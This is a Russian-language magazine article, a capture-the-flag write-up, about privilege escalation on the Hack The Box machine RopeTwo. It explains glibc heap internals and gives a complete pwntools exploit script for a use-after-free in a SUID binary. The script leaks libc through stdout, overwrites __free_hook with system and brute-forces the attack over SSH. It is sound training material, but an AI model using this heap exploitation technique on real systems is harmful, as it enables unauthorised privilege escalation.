Хакер - Куча приключений. Изучаем методы heap exploitation на виртуалке c Hack The Box
hacker_frei
artex
Содержание статьи
- Разведка
- Настраиваем окружение
- Куча, бины и чанки
- Пишем эксплоит
В этой статье я расскажу об алгоритмах управления памятью в Linux, техниках heap exploitation и методах эксплуатации уязвимости Use-After-Free со всеми включенными механизмами защиты. А поможет мне в этом RopeTwo — одна из самых сложных машин с Hack The Box.
В статье «Разбираем V8» я описывал способ эксплуатации намеренной уязвимости в движке V8. Она позволила получить шелл, но, чтобы продвинуться дальше и получить флаг юзера, требуется решить новую сложную задачу — проэксплуатировать уязвимости работы с памятью.
РАЗВЕДКА
Первым делом подключаемся к тачке по SSH и запускаем скрипт поиска уязвимостей для эскалации привилегий. Лично я предпочитаю использовать LinPEAS.
artex@kali:/home/artex/HTB/RopeTwo# ssh -i key chromeuser@10.10.10.196
artex@kali:/home/artex/HTB/RopeTwo# scp -i ssh/key linpeas.sh chromeuser@10.10.10.196:/tmp
chromeuser@rope2:/tmp$ chmod +x linpeas.sh
chromeuser@rope2:/tmp$ ./linpeas.sh > linpeas.txt
artex@kali:/home/artex/HTB/RopeTwo# scp -i ssh/key chromeuser@10.10.10.196:/tmp/linpeas.txt linpeas.txt
Смотрим внимательно отчет, анализируя каждую строчку. В разделе «Interesting Files — SUID» видим интересный файл — rshell.

Посмотрим внимательнее, что это.

Похоже на restricted shell с включенным битом SUID, это явно наш пациент! Скачиваем и натравливаем на него «Гидру». Не буду приводить здесь весь листинг дизассемблированного кода, я вместо этого сделал упрощенную диаграмму с основной логикой функций rshell.
Как оказалось, это вовсе не restricted shell, а лишь его эмуляция. Нам доступно всего несколько команд: add, edit, rm, ls, echo, id и whoami. Самые интересные из них — первые четыре (позже выяснится, что три). Они позволяют создавать, изменять, удалять и отображать объекты («файлы») и выделять соответствующие им участки в памяти с определенным размером (не более 112 байт) и контентом. Причем команда ls выводит только имена файлов, без содержания. Что ж, все указывает на то, что впереди нас ждет heap exploitation.
В интернете много информации на эту тему, начать свое погружение в нее можно, например, с сайта Дхавала Капила. Первое, что нам нужно, — найти уязвимости в коде, которые можно проэксплуатировать.
На первый взгляд, никаких явных уязвимостей в коде нет. Везде используются либо безопасные функции, либо проверки размерности, а ввод терминируется нулем. Я потратил много времени, прежде чем нашел уязвимость под названием use after free (UAF).
Подробнее о том, что такое UAF, можно почитать, например, в блоге Orange Cyberdefense.
НАСТРАИВАЕМ ОКРУЖЕНИЕ
Наш эксплоит мы будем писать с помощью pwntools — незаменимой питоновской библиотеки для создания эксплоитов. Но первым делом нам нужно настроить окружение. Для этого, помимо самого rshell, необходимо скачать с машины RopeTwo библиотеки glibc (стандартная библиотека C, реализующая системные вызовы и основные функции, такие как malloc, open, printf) и ld (библиотека динамической линковки). Это необходимо для полной совместимости версий. Во‑первых, новые релизы glibc часто содержат изменения, устраняющие те или иные уязвимости, а во‑вторых, нам важно, чтобы смещения всех функций совпадали. Ниже приведена таблица версий glibc и возможности использования различных вариантов heap exploitation.

Видим, что в нашем случае мы будем использовать версию libc 2.29.

Также в интернете необходимо найти и скачать версию libc 2.29 с отладочными символами, без них писать эксплоит крайне затруднительно. Думаю, с этим квестом ты справишься.
Теперь надо пропатчить наш rshell командой patchelf --set-interpreter ./ld-2.29.so rshell, чтобы он стал использовать линкер нужной версии.
Теперь, если ты хочешь запустить rshell c нужной версией libc, используй команду
LD_PRELOAD='libc-2.29.so' rshell

Вывод checksec заставляет содрогнуться — включены все защитные механизмы! Но мы принимаем вызов!
Full RELRO. Глобальная таблица смещений (GOT) доступна только для чтения. Это означает, что мы не можем перезаписать в ней указатель функции, чтобы изменить ход выполнения программы.
Canary found. В стеке размещается «канарейка» (определенное значение, перезапись которого означает, что стек был изменен), поэтому переполнение стека нам не светит, если только мы не сможем каким‑либо образом заполучить контроль над «канарейкой».
NX enabled. Означает отсутствие областей в памяти, позволяющих одновременную запись и исполнение (RWX). Поэтому мы не можем разместить в адресном пространстве шелл‑код и запустить его.
PIE enabled. PIE — это аббревиатура от Position Independent Executable. Означает, что базовый адрес исполняемого файла меняется при каждом запуске, поэтому без утечки использовать ROP и ret2libc не получится.
Для начала напишем вспомогательные функции, эмулирующие пользовательский ввод.
def add(name, size, content="A"):
io.sendlineafter('$ ', 'add '+str(name))
io.sendlineafter('size: ', str(int(size)))
io.recvuntil("content: ")
io.sendline(content)
def edit(name, size, content="A"):
io.sendlineafter('$ ', 'edit '+str(name))
io.sendlineafter('size: ', str(int(size)))
if int(size) != 0:
io.recvuntil("content: ")
io.send(content)
def rm(name):
io.sendlineafter('$ ', 'rm '+str(name))
Тут сразу важно отметить, что в функции add мы не можем использовать io.send(content), как в функции edit, поскольку для записи контента add использует fgets, а edit — read. Поэтому воспользуемся методом io.sendline(content), который добавляет в конце перенос строки и головной боли нам (об этом дальше).
КУЧА, БИНЫ И ЧАНКИ
Бин — это корзина, в которую попадают освобожденные участки памяти (чанки). Представляет собой список освобожденных чанков, который бывает односвязный и двусвязный. Основное его назначение — быстрое выделение участка памяти (по статистике, в программах часто выделяются и освобождаются участки памяти одинаковых размеров). Вид связности списка зависит от того, в какой бин попал освобождаемый чанк, что, в свою очередь, зависит от его размера. Размер чанка увеличивается кратно 16 байтам (0x20 → 0x30 → 0x40...). Это значит, что младшие 4 бита поля размера чанка не используются. Вместо этого они содержат флаги состояния чанка:
PREV_INUSE— установленный, означает, что предыдущий чанк используется, и наоборот;IS_MMAPPED— означает, что этот чанк был выделенmmap();NON_MAIN_ARENA— означает, что чанк не принадлежит main arena.
Арена — это структура функции malloc, содержащая бины для освобожденных из кучи чанков.
Максимальное количество арен для процесса ограничено количеством ядер процессора, которое доступно этому процессу.
На данный момент существует пять типов бинов (цифры приведены для 64-битных приложений):
- Tcache bin (появился в glibc 2.26) для любых чанков, которые меньше или равны 0x410 байт. Всего 64 односвязных списка на каждую арену. Каждый Tcache bin хранит чанки одинакового размера. Каждый Tcache bin может хранить максимум семь освобожденных чанков.
- Fast bin для любых чанков, которые меньше или равны 0x0b байт. Всего десять односвязных списков на каждую арену c размером от 0x20 до 0xb0.
- Unsorted bin. Двусвязный список, который может содержать чанки любого размера. Каждая арена содержит только один такой список. При выделении области памяти перед Unsorted bin свободные чанки ищутся сначала в бинах tcache, fastbin и smallbin. Large bin опрашивается последним.
- Small bin — коллекция из 62 двусвязных списков на каждую арену размером от 0x20 до 0x3f0 (перекрываются по размерам с fastbins).
- Large bin — коллекция из 63 двусвязных списков на каждую арену, из них каждый содержит чанки, размер которых лежит в определенном диапазоне (например, 0x400 largebin содержит освобожденные чанки размеров 0x400–0x430).
Для наглядности выполним простой код, который создает и очищает два чанка по 0x30 байт каждый:
add(0, 0x28)
add(1, 0x28)
rm(0)
rm(1)
Посмотрим, как это выглядит в GDB. Мы видим, что оба чанка попали в tcachebin 0x30. Структура tcachebin представлена на скриншоте.

Односвязный список можно представить так.

А двусвязный — так (для small bins Size будет одинаковый, а для large bin еще добавятся указатели fd_nextsize и bk_nextsize).

fd указывает на следующий чанк в списке, а bk — на предыдущий.
ПИШЕМ ЭКСПЛОИТ
С теорией покончено, теперь попробуем написать примитив произвольной записи, используя UAF. Мы не можем использовать технику Tcache Dup (Double Free), так как в glibc 2.29 появилась защита от нее.
Но вместо двойного вызова free() мы можем использовать realloc c размером 0. Ниже приведен код примера:
--skip--
def debug(breakpoints):
script_noaslr= '''
set verbose on
break *0x555555555656
commands
silent
tcachebins
continue
end
continue
'''
gdb.attach(io,gdbscript=script_noaslr)
TARGET=p64(0x55555555a3f0)
VALUE=p64(0xdeadbeef)
add('A', 0x28)
edit('A', 0) # Помещаем чанк в tcachebins 0x30
io.sendlineafter('$ ', 'ls') # Выводим tcachebins
edit('A', 0x28, TARGET) # Пишем адрес назначения в «пустой» чанк, заменяя указатель fd
io.sendlineafter('$ ', 'ls') # В tcachebins теперь два чанка, один из которых указывает на TARGET
add('B', 0x28) # «Достаем» из корзины последний чанк из цепочки
edit('B', 0x38) # Увеличиваем размер чанка B и очищаем его
rm('B')
edit('A',0x48) # Увеличиваем размер чанка A и очищаем его
rm('A')
io.sendlineafter('$ ', 'ls') # У нас три tcachebins, 0x30 указывает на TARGET
add('A', 0x28, VALUE) # Выделяем чанк размером 0x30, тем самым пишем VALUE в TARGET
--skip--
Вставляем этот фрагмент в наш скрипт и запускаем командой ./uaf.py NOASLR GDB.
Первый параметр отключает ASLR (Address Space Layout Randomization), а второй запускает GDB.
В ключевых местах я повесил вывод tcachebins в pwndbg на адрес функции ls — 0x555555555656 (при каждом вызове ls мы будем видеть информацию о tcachebins в отладчике).

Видим, что значение по адресу 0x55555555a3f0 перезаписано!

Теперь, когда у нас есть примитив произвольной записи, нужно придумать, как его использовать (забегая вперед, скажу, что в финальном эксплоите этот примитив будет модифицирован, так как мы ограничены только двумя файлами). План обычно следующий: добиваемся утечки адреса библиотеки libc, вычисляем ее базовый адрес по смещению, а затем подменяем вызов какого‑либо хука one_gadget или системным вызовом, если one_gadget не работает (не соблюдаются условия его вызова).
На этом этапе достаточно просто написать эксплоит, подсмотрев адрес libc в /proc/_pid_/maps. Можешь попробовать, это будет хорошей практикой! Но такой фокус не пройдет на виртуалке, так как при запуске бинарника с битом SUID карта памяти процесса будет недоступна для чтения.
Поэтому возникает вопрос: как нам добиться утечки адреса libc, если в бинарнике включены все механизмы защиты, а в коде нет явных уязвимостей? При этом мы ограничены только двумя чанками максимум по 70 байт каждый! На первый взгляд это кажется невозможным, и мне пришлось провести немало часов в интернете, прежде чем ответ нашелся.
Разгадка кроется в создании фиктивного unsorted bin и брутфорсе 4 бит указателя на stdout. Но обо всем по порядку.
Первое, что нам нужно, — подменить размер чанка, чтобы его размер превысил 420 байт и при его очистке он попал в unsorted bin. Причина, по которой нам так важен unsorted bin, в том, что в fd и bk помещаются указатели на libc (main arena + offset). Таким образом мы получаем доступ к адресному пространству libc, обойдя PIE и ASLR!
Далее мы можем заменить последние два байта этого адреса, чтобы он стал указывать на stdout. Однако из‑за ASLR смещение при каждом запуске отличается, но, к счастью, всего на 4 бита! Остается главный вопрос: как заставить stdout вывести нам адрес libc?
Для этого придется углубиться в анализ исходников, после чего получается следующая картина.
При вызове puts происходит вызов функции _IO_new_file_overflow по следующей цепочке: _IO_puts → _IO_sputn → _IO_new_file_xsputn → _IO_new_file_overflow. В _IO_new_file_overflow нас интересует вызов _IO_do_write, который определен как макрос функции _IO_new_do_write. Если флаги в это время сигнализируют о том, что буфер не пуст, то значение буфера (указатель _IO_write_base указывает на начало буфера, а _IO_write_ptr — на его конец) выводится в stdout. Если мы изменим флаги _IO_2_1_stdout_ нужным образом, мы сможем устроить утечку адреса libc!
Звучит как план, попробуем его реализовать. Первое, что нам необходимо, — добиться попадания чанка в unsorted bin. Но как это сделать, если мы ограничены размером 0x70 байт?
Будем создавать большой фиктивный чанк! Сначала подготовим вспомогательные чанки:
add(0, 0x68)
edit(0, 0, "") # tcache 0x70
edit(0, 0x18) # tcache 0x50 (0x70-0x20)
rm(0) # tcache 0x20
add(0, 0x48)
edit(0, 0, "") # tcache 0x50
edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверку double free
rm(0)
Благодаря этим манипуляциям с tcache и у нас появилось наложение чанков.

Теперь мы можем изменить размер нашего фиктивного чанка:
add(0, 0x48) # Достаем из бина один tcache 0x50
add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 0x451 в поле size фиктивного чанка
rm(1)

Отлично, размер tcache 0x50 изменился на 0x450. Теперь нужно выделить достаточное количество памяти, чтобы можно было ее освободить.
# Выделяем 0x400+ байт для unsorted bin
for i in range(9):
add(1, 0x28)
edit(1, 0x70)
rm(1)
# После этого шага у нас создается unsorted bin, fd которого указывает на main_arena + 96
# А поскольку мы сделали наложение чанков, этот fd совпадает с fd tcache 0x50
edit(0, 0, "")
# Частично перезаписываем указатель fd, чтобы попасть в stdout (bruteforce 4 bits)
edit(0, 0x38, p16(0x7750))
В итоге у нас получается следующая картина.

Начало структуры IO_2_1_stdout выглядит так.

Мы почти у цели: достаем из tcache 0x50 лишний чанк и записываем нужный нам «пейлоад» в stdout-0x10 (если повезет, шанс — 1/16). Тут надо подробнее остановиться на самом пейлоаде. Пользуясь случаем, перед stdout мы пишем строку 16 байт, которую передадим в качестве параметра в system ("/bin/sh"). Далее нам необходимо записать значение _flags. Чтобы обмануть функцию _IO_new_do_write, нам нужны следующие флаги, определенные в libio.h:
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
...
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
В поле _flags из _IO_2_1_stdout пишем значение 0xfbad1800, которое заставляет _IO_new_do_write думать, что буфер непустой. Три следующих qword (указатели IO_read) должны быть пустыми, но мы записываем в _IO_read_base строку "leak:", чтобы потом проще было найти нужный адрес. Функция rjust выравнивает строку "leak:" по правому краю, чтобы за ней сразу шел адрес _IO_write_base. Первый параметр функции — это ширина границ выравнивания, а второй — символ, которым заполняются пустые места (по умолчанию — пробел). Почему ширина границ выравнивания 7, а не 8? Помнишь, в начале я говорил, что функция add использует fgets и добавляет перенос строки в конце? Именно из‑за этого приходится делать поправку в 1 байт.
add(1, 0x48) # Достаем из бина лишний tcache 0x50
edit(1, 0x18)
rm(1)
edit(0, 0x18, "C"*0x10)
rm(0)
add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+b"leak:".rjust(7, b"\x00"))
В итоге, если мы попали в нужный нам адрес (_IO_2_1_stdout_ – 0x10), картина будет следующая:
0x15555551e750 <_IO_2_1_stderr_+208>: 0x0068732f6e69622f ("/bin/sh") 0x0000000000000000
0x15555551e760 <_IO_2_1_stdout_>: 0x00000000fbad1800 (flags) 0x0000000000000000
0x15555551e770 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0a3a6b61656c0000 ("leak:\n")
0x15555551e780 <_IO_2_1_stdout_+32>: 0x000015555551e700 (_IO_write_base) 0x000015555551e7e3
0x15555551e790 <_IO_2_1_stdout_+48>: 0x000015555551e7e3 0x000015555551e7e3
0x15555551e7a0 <_IO_2_1_stdout_+64>: 0x000015555551e7e4 0x0000000000000000
Так как функция add использует puts, мы сразу получаем долгожданную утечку адреса libc (_IO_write_base_)!
Дело осталось за малым — рассчитать нужные смещения (достаточно только libc_base, остальное pwntools сделает за нас!), заменить хук освобождения памяти __free_hook на system с помощью UAF и вызвать очистку памяти с параметром "/bin/sh" (об этом параметре мы уже позаботились).
Полный листинг эксплоита с комментариями приведен ниже.
Осталось придумать, как подключиться эксплоитом к rshell на сервере и автоматизировать процесс. Для этого в pwntools есть замечательный инструмент — SSH tube.
Он позволяет подключаться по SSH к серверу и с помощью Python запускать эксплуатацию нужного нам процесса. Но с RopeTwo есть один нюанс — на сервере отсутствует Python 2, а pwntools по умолчанию работает только с ним. Придется немного пошаманить!
Находим у себя файл ../dist-packages/pwnlib/tubes/ssh.py, в нем строку, где перечислены интерпретаторы Python, и добавляем в нее python3:
script = 'for py in python2.7 python2 python python3; do test -x "$(which $py 2>&1)" && exec $py -c %s check; done; echo 2' % sh_string(script)
Есть и еще одна проблема — при неудачном брутфорсе rshell периодически зависает, поэтому я решил перезапускать брутфорс по таймеру с помощью signal.
INFO
Signal — это асинхронное уведомление процесса Linux о каком‑либо событии. В данном случае нас интересует SIGALRM — сигнал истечения заданного времени. В Википедии об этом есть подробная статья: Сигнал_(Unix).
А вот и финальный код эксплоита:
#!/usr/bin/env python3
from pwn import *
import signal
# Вспомогательная функция для рестарта зависшего шелла
def handler(signum, frame):
log.warning("Game over, rshell freezes")
io.close()
# Базовые настройки
context(os="linux", arch="amd64")
localfile = "./rshell"
locallibc = "./libc-2.29.so"
pf = lambda name,num :log.info(name + ": 0x%x" % num)
elf = ELF(localfile)
libc = ELF(locallibc)
io = process(localfile, env={'LD_PRELOAD': locallibc}, timeout=1)
# Функция отладки
def debug(breakpoints):
script= '''
continue
'''
gdb.attach(io,gdbscript=script)
# Вспомогательные функции
def add(name, size, content="A"):
io.sendlineafter('$ ', 'add '+str(name))
io.sendlineafter('size: ', str(int(size)))
io.recvuntil("content: ")
io.sendline(content)
def edit(name, size, content="A"):
io.sendlineafter('$ ', 'edit '+str(name))
io.sendlineafter('size: ', str(int(size)))
if int(size) != 0:
io.recvuntil("content: ")
io.send(content)
def rm(name):
io.sendlineafter('$ ', 'rm '+str(name))
def exp():
# Запускаем таймер — 25 секунд
signal.alarm(25)
add(0, 0x68) # Создаем вспомогательные tcache
edit(0, 0, "") # tcache 0x70
edit(0, 0x18) # tcache 0x50 (0x70–0x20)
rm(0) # tcache 0x20
add(0, 0x48) # Создаем фиктивный чанк
edit(0, 0, "") # tcache 0x50
edit(0, 0x48, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free
rm(0)
add(0, 0x48) # Достаем из бина один tcache 0x50
add(1, 0x68, b"C"*0x18+p64(0x451)) # Достаем tcache 0x70 и пишем 0x451 в поле size фиктивного чанка
rm(1)
# Выделяем 0x400+ байт для unsorted bin, обходя проверку prev_inuse в функции free()
for i in range(9):
add(1, 0x28)
edit(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80
rm(1)
# После этого шага у нас создается unsorted bin, fd которого указывает на main_arena + 96
# А поскольку мы сделали наложение чанков, этот fd совпадает с fd tcache 0x50
edit(0, 0, "")
# Частично перезаписываем указатель fd, чтобы попасть в stdout (bruteforce 4 bits)
edit(0, 0x38, p16(0x7750))
# Достаем из бина лишний tcache 0x50
add(1, 0x48)
edit(1, 0x18)
rm(1)
edit(0, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free
rm(0)
# Пишем в stdout утечку адреса _IO_write_base
add(0, 0x48, b"/bin/sh\x00"+b"\x00"*8+p64(0xfbad1800)+p64(0)*2+b"leak:".rjust(7, b"\x00"))
# Если в полученной строке не содержится "leak:", пробуем заново
if len(io.recvuntil("leak:")) == 0:
log.debug("failed")
return
# Адрес найден, вычисляем смещение libc_base (оно разное для разных версий libc)
leak_addr=u64(io.recv(8)[1:7]+b'\x00'*2)
pf("leak_addr", leak_addr)
libc_base = leak_addr - (0x15555551d700-0x155555338000) #REAL
#libc_base = leak_addr - (0x7ffff7fc7700 - 0x7ffff7c15000) #DEBUG
libc.address = libc_base
pf("libc_base", libc_base)
# Опять проворачиваем трюк с наложением (tcache 0x60 вложен в tcache 0x80)
add(1, 0x70) # Мы ограничены 0x70, но получаем чанк 0x80
edit(1, 0, "")
edit(1, 0x18, "C"*0x10) # Перезаписываем fd и bk, чтобы избежать проверки double free
rm(1)
# Пишем указатель на __free_hook в fd tcache 0x60
add(1, 0x70, b"C"*0x18+p64(0x61)+p64(libc.sym["__free_hook"]))
rm(1)
# Достаем из бина лишний tcache 0x60
add(1, 0x58)
edit(1, 0x28)
rm(1)
# Перезаписываем __free_hook на system
add(1, 0x58, p64(libc.symbols["system"]))
# Удаляем файл 0, который указывает на '/bin/sh\x00'. Получаем system("/bin/sh")!
rm(0)
signal.alarm(0) # Сбрасываем таймер
io.interactive() # Переходим в интерактив
if not args.REMOTE and args.GDB:
debug([])
signal.signal(signal.SIGALRM, handler)
# Цикл брутфорса
while True:
try:
print("----------------------------------------------------------")
#io = process(localfile, env={'LD_PRELOAD': locallibc}, timeout=10) # - local
#l = listen(31337) # Для удаленного подключения и отладки
#io = l.wait_for_connection()
s = ssh(host='10.10.10.196', user='chromeuser',keyfile='ssh_key')
io = s.process("/usr/bin/rshell")
exp()
except Exception:
io.close()
Брутфорс обычно занимает три‑четыре минуты, но тут как повезет... А в конце нас ждет долгожданный шелл пользователя r4j! Наконец‑то мы получили этот невероятно сложный флаг! Или нет?!
[+] Connecting to 10.10.10.196 on port 22: Done
[+] Starting remote process '/usr/bin/rshell' on 10.10.10.196: pid 14081
[*] leak_addr: 0x7f5ed04e7700
[*] libc_base: 0x7f5ed0302000
[*] Switching to interactive mode
$ $ id
uid=1000(r4j) gid=1001(chromeuser) groups=1001(chromeuser)
$ $ pwd
/home/chromeuser
$ $ cd /home/r4j
$ $ ls -la
total 40
drwx------ 6 r4j r4j 4096 Jun 1 2020 .
drwxr-xr-x 4 root root 4096 Feb 5 2020 ..
lrwxrwxrwx 1 root root 9 Feb 23 2020 .bash_history → /dev/null
-rwx------ 1 r4j r4j 220 Apr 4 2019 .bash_logout
-rwx------ 1 r4j r4j 88 Apr 21 19:56 .bashrc
drwx------ 2 r4j r4j 4096 Feb 23 2020 .cache
drwx------ 2 r4j r4j 4096 May 27 2020 .config
drwx------ 3 r4j r4j 4096 Feb 23 2020 .gnupg
-rwx------ 1 r4j r4j 807 Apr 4 2019 .profile
drwx------ 2 r4j r4j 4096 Dec 21 19:47 .ssh
-rw-r----- 1 root r4j 33 Dec 21 14:08 user.txt
$ $ cat user.txt
cat: user.txt: Permission denied
Очередная головоломка: флаг может прочитать только root и пользователь из группы r4j. А наш gid по‑прежнему — chromeuser!
Это задачку предлагаю решить тебе самому, она несложная.
(ʞuıʃɯʎs :ʇuıɥ)
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei